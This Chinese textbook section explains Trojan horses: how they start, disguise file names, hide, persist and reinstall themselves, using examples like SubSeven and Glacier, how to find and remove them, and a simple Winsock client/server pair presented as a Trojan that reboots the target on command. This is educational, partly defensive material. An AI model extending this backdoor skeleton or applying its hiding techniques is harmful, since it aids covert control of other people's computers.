<<返回
3.5 特洛伊木马
 
 
3.5 特洛伊木马
3.5.1 什么是特洛伊木马
定义:特洛伊木马是一个程序,它驻留在目标计算机里。在目标计算机系统启动的时候,特洛伊木马自动启动。然后在某一端口进行侦听。如果在该端口收到数据,对这些数据进行识别,然后按识别后的命令,在目标计算机上执行一些操作。比如窃取口令,拷贝或删除文件,或重新启动计算机。
攻击者一般在入侵某个系统后,想办法将特洛伊拷贝到目标计算机中。并设法运行这个程序,从而留下后门。以后,通过运行该特洛伊的客户端程序,对远程计算机进行操作。
因此,木马应该符合三个条件:
(1)木马需要一种启动方式,一般在注册表启动组中。
(2)木马需要在内存中运行才能发挥作用。
(3)木马会占用一个端口,以便黑客通过这个端口和木马联系。
3.5.2 木马的特点
木马的特点是具有隐蔽性、顽固性、潜伏性。
木马有其不为人知的目的,所以,必须要具有隐蔽的性能,我们所见到的大部分木马基本上都采用了一些隐蔽的办法。
木马的顽固性是指难以删除,一般木马进入以后,会与操作系统合为一体。
木马的潜伏性也相当重要,如果木马能像特务一样,潜伏在某个位置,当暴露的木马被删除以后,备用的木马能启动继续打开端口,让黑客进入,并且,木马的生存能力将提高许多倍。
1.木马的隐藏性
木马隐蔽性主要表现在:
l 木马的启动方式
l 木马在硬盘上存储的位置
l 木马的文件名
l 木马的文件属性
l 木马的图标
l 木马使用的端口
l 木马运行时的隐蔽
l 木马在内存中的隐蔽
下面分别说明这些特点。
(1)木马的启动方式
在Windows系统中,木马最容易下手的地方是三个:系统注册表、win.ini、system.ini。电脑启动时,首先装载这三个文件,大部分木马是使用这三种方式启动的。但是木马schoolbus 1.60版本,是采用替换Windows启动程序装载的,这种启动办法更加隐蔽,而且不易排除。 另外也有捆绑方式启动的,木马phAse 1.0版本和NetBus 1.53版本就以捆绑方式装到目标电脑上,可以捆绑到启动程序上,也可以捆绑到一般程序的常用程序上。如果捆绑到一般的程序上,启动是不确定的,如果用户不运行,木马就不会进入内存。
捆绑方式是一种手动的安装方式,一般捆绑的是非自动方式启动的木马。
非捆绑方式的木马因为会在注册表等位置留下痕迹,所以,很容易被发现,而捆绑木马可以由黑客自己确定捆绑方式、捆绑位置、捆绑程序等,位置的多变使得木马具有很强的隐蔽性。
从这点来说,phAse 1.0等木马的生存能力比较强。
(2)木马在硬盘上存储的位置
木马实际上是一个可以执行的文件,所以它必然会存储在硬盘上。一般而言,木马存储在C:\Windows和C:\Windows\System中,这也体现了木马程序的隐蔽和狡猾。木马为什么要在这两个目录下呢?因为Windows的一些系统文件在这两个位置,如果用户误删了文件,用户的电脑可能崩溃,从而不得不重新安装系统。
另外,系统目录下的文件众多繁杂,一般用户很难查找出哪个文件是木马。而且这些木马的名字通常具有欺骗性。
(3)木马的文件名
木马的文件名更是一种学问,木马的文件名一般与Windows的系统文件接近,这样用户就会搞糊涂。例如木马SubSeven 1.7版本的服务器文件名是C:\Windows\KERNEL16.DLL,而Windows的一个重要系统文件是C:\Windows\KERNEL32.DLL,二者如此相似,一般用户很难判断,而且一旦删除,后果及其严重,因为删除了KERNEL32.DLL将意味着用户的机器将崩溃。
再比如,木马phAse 1.0版本,生成的木马是C:\Windows\System\Msgsvr32.exe,简直和Windows的系统文件C:\Windows\System\Msgsrv32.exe一模一样,只是图标有点两样。
上面两个是假扮系统文件的类型,还有一些无中生有的类型,木马SubSeven 1.5版本服务器文件名是C:\Windows\window.exe,仅仅少一个s,一般用户如果不知道这是木马,他肯定不敢删除该文件。
(4)木马的文件属性
Windows的资源管理器中可以看到硬盘上的文件,默认方式下隐含文件和DLL等系统文件是不显示的,因此,一部分木马就采用这种办法,让用户在硬盘上看不到,虽然办法是简单了点,但是,如果用户不注意的话,还是会漏掉的。比如木马schoolbus 2.0版本的木马是一个隐含文件。
(5)木马的图标
木马服务器的图标一般"看上去很美",极易以假乱真,给用户造成假相,以为这是电脑的系统文件,不能删除,表3.1列出了一些常见的木马图标。

表3.1 常见的木马图标
木 马 名 称 图 标
木马Deep Throat 1.0版本的服务器systempatch.exe
木马GirlFriend 1.3版本的服务器Windll.exe
木马Glacier(冰河1.2正式版)的服务器Kernel32.exe
木马InCommand 1.0版本的服务器server.exe
木马school的服务器Grcframe.exe

以上的图标看起来都很熟悉,一个个看上去都像是系统文件,一般用户根本不敢去删除这些文件。
(6)木马使用的端口
黑客要进入目标电脑,必须要有通往目标电脑的途径,也就是说,木马必须打开某个端口,大家叫这个端口为"后门",木马也叫"后门工具"。这个不得不打开的后门是很难隐蔽的,只能采取混淆的办法,很多木马的端口是固定的,让人一眼就能看出是什么样的木马造成的。所以,端口号可以改变,是一种混淆的办法。
从已有的木马来看,7306是木马netspy使用的,木马SUB7可以改变端口号,SUB7默认的端口是1243,如果没有改变,那么目标电脑的主人马上就可以使用删除SUB7的办法删除它,但是,如果端口改变了呢?所以,比较隐蔽的木马端口是可变的,因而目标电脑的用户不易察觉。
(7)木马运行时的隐蔽
木马在运行的时候一般都是隐蔽的,与正常的应用程序在运行时一般会显示一个图标的情况不同,木马运行时不会在目标电脑上打开一个窗口,告诉用户,什么人在你的电脑中干什么,因而,用户不太容易发现正在悄悄运行的木马。
(8)木马在内存中的隐蔽
一般情况下,如果某个程序出现异常,用正常的手段不能退出的时候,采取的办法是按【Ctrl+Alt+Del】键,跳出一个窗口,找到需要终止的程序,然后关闭它。早期的木马会在按【Ctrl+Alt+Del】显露出来,但现在大多数木马已经看不到了。所以只能采用内存工具来看内存中才会发现存在木马。
2.木马的顽固性
一旦木马被发现存在于电脑中,用户很难删除。
例如木马schoolbus 1.60版本和2.0版本,启动位置是在C:\Windows\System\runonce.exe中,用户很难修改这个文件,只有重新安装这个文件才可以排除木马。
再如木马YAI 07.29 1999版本,大面积的程序染上木马,导致用户不得不格式化硬盘,因为用户基本不可能一个一个文件去删除。删除这种类型的木马,最好还是通过杀毒软件来删除。
3.木马的潜伏性
高级的木马具有潜伏的能力,表面上的木马被发现并删除以后,后备的木马在一定的条件下会跳出来。这种条件主要是目标电脑用户的操作造成的。
我们先来看一个典型的例子:木马Glacier(冰河1.2正式版)。
这个木马有两个服务器程序,C:\Windows\System\Kernel32.exe挂在注册表的启动组中,当电脑启动的时候,会装入内存,这是表面上的木马。另一个是C:\Windows \System\Sysexplr.exe,也在注册表中,它修改了文本文件的关联,当用户点击文本文件的时候,它就启动了,它会检查Kernel32.exe是不是存在,如果存在的话,什么事情也不做。
当表面上的木马Kernel32.exe被发现并删除以后,目标电脑的用户可能会觉得自己已经删除木马了,应该是安全的了。但是如果目标电脑的用户在以后的操作中点击了文本文件,那么这个文件文件照样运行,同时Sysexplr.exe被启动了。Sysexplr.exe会发现表面上的木马Kernel32.exe已经被删除,就会再生成一个Kernel32.exe,于是,目标电脑以后每次启动电脑木马又被装上了。因此,这是一个典型的具有潜伏能力的木马,这种木马的隐蔽性更强。
3.5.3 发现和删除木马
1.注册表启动的木马
大部分木马会放在启动项中,最常见的是加载到注册表的启动组中,在这种情况下,木马会进入内存,打开端口,只要使用TCPVIEW,看看自己有无可疑的端口开放。
如果有可疑的端口开放,可以按照以下步骤进行:
(1)先记下该端口号,然后打开ATM软件看看内存中正在运行哪些软件,将这些软件名称和硬盘位置记录下来。
(2)终止某个程序运行,如果端口还是开放着,那么被终止运行的程序不是木马,继续终止下一个,直到端口不再开放,就找到了木马。
删除步骤:
(1)备份需要删除的文件(防止误伤无辜)和注册表(运行regedit,在菜单中选择导出注册表;恢复时选择导入注册表)。
(2)终止该程序在内存中的运行,保证端口没有打开。
(3)在注册表中查询包含该文件名的键值,然后删除。除了启动组注册表,其他很多位置也会启动木马(在某种特定的条件下)。
以冰河木马为例,木马除了注册表启动组启动外,还在注册表中增加了打开文本文件的关联设置:
HKEY_CLASSES_ROOT\txtfile\shell\open\command,键值名:(默认),键值:C:\Windows\System\ Sysexplr.exe %1。
一般而言,打开文本文件有两种办法:一种是先打开记事本程序,然后打开文件文件;第二种是在硬盘上直接双击文本文件。木马正是利用这种操作,在注册中定义文本文件的关联操作,一旦用户点击的文件后缀是txt,系统到注册表中查找对应的程序,原来关联的C:\Windows\Notepad.exe,现在变成了C:\Windows\System\Sysexplr.exe,木马开始启动。
同样道理,点击exe也可能启动木马,点击htm也可能启动木马,这完全取决于注册表中的配置,由此也可以看出,注册表是WIndows比较脆弱的部分。
2.捆绑式木马
除了用注册表启动的木马,最常见的还有捆绑式木马。如将木马捆绑到浏览器上,尽管用户开机检查时没有开放的端口,但是一旦用户上网打开浏览器,木马被附带启动了,木马端口打开,黑客就可以进入了。
捆绑有两种办法,一种是手动的,一种是木马自带捆绑配置工具,两种情况都一样,按照捆绑的先后次序,可以分为主程序和次程序,一般将原程序作为主程序,将木马程序作为次程序,不过将木马作为主程序也是可以的。删除的办法是只能重新安装一次。
当然,最简单的删除木马方法是安装杀毒软件,现在很多杀毒软件能删除网络最猖狂的木马,比如BO木马。
3.5.4 木马的实现
通过上面两个实例的介绍,基本上能看出特洛伊木马的工作原理。这里我们仅仅介绍用Winsock实现的一个客户机程序和一个服务端程序。这个实例中的服务器在接到客户机的命令后会重新启动计算机。
可以在这两个程序的基础上,加入一些命令,对目标系统进行一些修改,比如拷贝文件等等。
1.ExitWindowsEx函数介绍
ExitWindowsEx函数的功能是关闭系统,注销用户和重新启动系统。
它的函数原型是:
BOOL ExitWindowsEx( UINT uFlags, DWORD dwReserved);
第一个参数用来指定操作的类型。
EWX_POWEROFF:关闭系统及关闭电源。
EWX_REBOOT:重新启动计算机。
EWX_SHUTDOWN:关闭系统,但不关闭电源。
第二个参数可以指定任意值,并没有特定意义。
2.服务器程序
#include < windows.h>
#include < winsock.h>

#define PORTNUM 5000 // 定义端口号为5000
#define MAX_PENDING_CONNECTS 4 // 定义最大队列长度
int WINAPI WinMain (
HINSTANCE hInstance, // 句柄
HINSTANCE hPrevInstance,// 前一个句柄
LPTSTR lpCmdLine, // 命令行串
int nCmdShow) // 窗口状态
{
int index = 0,
iReturn; // 接收数据的长度
char szServerA[100]; // ASCII 串
TCHAR szServerW[100]; // UNICODE 串
TCHAR szError[100]; // 错误信息

SOCKET WinSocket = INVALID_SOCKET, // SOCKET标识符
ClientSock = INVALID_SOCKET; // 与客户端通信的SOCKET标识符
SOCKADDR_IN local_sin, // SOCKET地址结构
accept_sin; // 发送方的地址结构
int accept_sin_len;
WSADATA WSAData;

// 初始化,这是Windows下必须的,在Unix下则没有该调用
if (WSAStartup (MAKEWORD(1,1), &WSAData) != 0) {
wsprintf (szError, TEXT("WSAStartup failed. Error: %d"), WSAGetLastError ());
MessageBox (NULL, szError, TEXT("Error"), MB_OK);
return FALSE;
}
// 创建一个TCP流机制的socket
if ((WinSocket = socket (AF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET) {
wsprintf (szError, TEXT("Allocating socket failed. Error: %d"), WSAGetLastError ());
MessageBox (NULL, szError, TEXT("Error"), MB_OK);
return FALSE;
}
// 填写地址信息
local_sin.sin_family = AF_INET;
local_sin.sin_port = htons (PORTNUM);
local_sin.sin_addr.s_addr = htonl (INADDR_ANY);
// 进行捆绑
if (bind (WinSocket, (struct sockaddr *) &local_sin, sizeof (local_sin)) == SOCKET_ERROR) {
wsprintf (szError, TEXT("Binding socket failed. Error: %d"), WSAGetLastError ());
MessageBox (NULL, szError, TEXT("Error"), MB_OK);
closesocket (WinSocket);
return FALSE;
}
// 设置等待队列
if (listen (WinSocket, MAX_PENDING_CONNECTS) == SOCKET_ERROR) {
wsprintf (szError, TEXT("Listening to the client failed. Error: %d"),WSAGetLastError ());
MessageBox (NULL, szError, TEXT("Error"), MB_OK);
closesocket (WinSocket);
return FALSE;
}
accept_sin_len = sizeof (accept_sin);
// 陷入,等待客户端的请求
ClientSock = accept (WinSocket, (struct sockaddr *) &accept_sin, (int *) &accept_sin_len);
// 关闭原来socket
closesocket (WinSocket);
if (ClientSock == INVALID_SOCKET) {
wsprintf (szError, TEXT("Accepting client failed. Error: %d"), WSAGetLastError ());
MessageBox (NULL, szError, TEXT("Error"), MB_OK);
return FALSE;
}
for (;;){
// 接收来自客户端的数据
iReturn = recv (ClientSock, szServerA, sizeof (szServerA), 0);
// 检查是否有数据
if (iReturn == SOCKET_ERROR){
wsprintf (szError, TEXT("No data is received, recv failed.")
TEXT(" Error: %d"), WSAGetLastError ());
MessageBox (NULL, szError, TEXT("Server"), MB_OK);
break;
}
else if (iReturn == 0){
MessageBox (NULL, TEXT("Finished receiving data"), TEXT("Server"),MB_OK);
ExitWindowsEx(EWX_REBOOT,0);
break;
}
else{
// 将ASCII 串转换成UNICODE 串
for (index = 0; index < = sizeof (szServerA); index++)
szServerW[index] = szServerA[index];

// 显示收到的信息
MessageBox (NULL, szServerW, TEXT("Received From Client"), MB_OK);
}
}
// 回送一个串
if (send (ClientSock, "To Client.", strlen ("To Client.") + 1, 0)== SOCKET_ERROR) {
wsprintf (szError, TEXT("Sending data to the client failed. Error: %d"),WSAGetLastError ());
MessageBox (NULL, szError, TEXT("Error"), MB_OK);
}
// 关闭socket
shutdown (ClientSock, 0x02);
closesocket (ClientSock);
WSACleanup ();
return TRUE;
}
3.客户端程序
#include < windows.h>
#include < winsock.h>

#define PORTNUM 5000 // 端口号
#define HOSTNAME "localhost" // server名字,如果不在一台机器,需要根据实际情况改名
int WINAPI WinMain (
HINSTANCE hInstance, // 句柄
HINSTANCE hPrevInstance,// 前一个句柄
LPTSTR lpCmdLine, // 命令行串
int nCmdShow) // 窗口状态
{
int index = 0,
iReturn; // 接收串的长度
char szClientA[100]; // ASCII 串
TCHAR szClientW[100]; // 串
TCHAR szError[100]; // 错误信息

SOCKET ServerSock = INVALID_SOCKET; // SOCKET标识符
SOCKADDR_IN destination_sin; // SERVER地址结构
PHOSTENT phostent = NULL; // 主机信息结构指针
WSADATA WSAData;
// 初始化,仅在Windows下使用
if (WSAStartup (MAKEWORD(1,1), &WSAData) != 0) {
wsprintf (szError, TEXT("WSAStartup failed. Error: %d"), WSAGetLastError ());
MessageBox (NULL, szError, TEXT("Error"), MB_OK);
return FALSE;
}
// 创建socket,基于TCP流机制
if ((ServerSock = socket (AF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET){
wsprintf (szError, TEXT("Allocating socket failed. Error: %d"), WSAGetLastError ());
MessageBox (NULL, szError, TEXT("Error"), MB_OK);
return FALSE;
}
// 填写地址信息(IP地址和端口号)
destination_sin.sin_family = AF_INET;
// 根据主机名取得主机地址结构
if ((phostent = gethostbyname (HOSTNAME)) == NULL) {
wsprintf (szError, TEXT("Unable to get the host name. Error: %d"), WSAGetLastError ());
MessageBox (NULL, szError, TEXT("Error"), MB_OK);
closesocket (ServerSock);
return FALSE;
}
// 对IP 地址赋值
memcpy ((char FAR *)&(destination_sin.sin_addr), phostent->h_addr, phostent->h_length );
destination_sin.sin_port = htons (PORTNUM);
// 与服务方连接
if (connect (ServerSock, (PSOCKADDR) &destination_sin, sizeof (destination_sin)) == SOCKET_ERROR) {
wsprintf (szError, TEXT("Connecting to the server failed. Error: %d"),WSAGetLastError ());
MessageBox (NULL, szError, TEXT("Error"), MB_OK);
closesocket (ServerSock);
return FALSE;
}
// 发送字符串给server
if (send (ServerSock, "To Server.", strlen ("To Server.") + 1, 0)== SOCKET_ERROR) {
wsprintf (szError, TEXT("Sending data to the server failed. Error: %d"),WSAGetLastError ());
MessageBox (NULL, szError, TEXT("Error"), MB_OK);
}
shutdown (ServerSock, 0x01);
for (;;){
// 接收来自服务方的字符串
iReturn = recv (ServerSock, szClientA, sizeof (szClientA), 0);

// 检查是否有数据收到
if (iReturn == SOCKET_ERROR){
wsprintf (szError, TEXT("No data is received, recv failed. %d"), WSAGetLastError ());
MessageBox (NULL, szError, TEXT("Client"), MB_OK);
break;
}
else if (iReturn == 0){
MessageBox (NULL, TEXT("Finished receiving data"), TEXT("Client"),MB_OK);
break;
}
else{
// 将 ASCII 串转换成 UNICODE 串
for (index = 0; index < = sizeof (szClientA); index++)
szClientW[index] = szClientA[index];

// 显示收到的字符串
MessageBox (NULL, szClientW, TEXT("Received From Server"), MB_OK);
}
}
shutdown (ServerSock, 0x00);
closesocket (ServerSock);
WSACleanup ();
return TRUE;
}

<<返回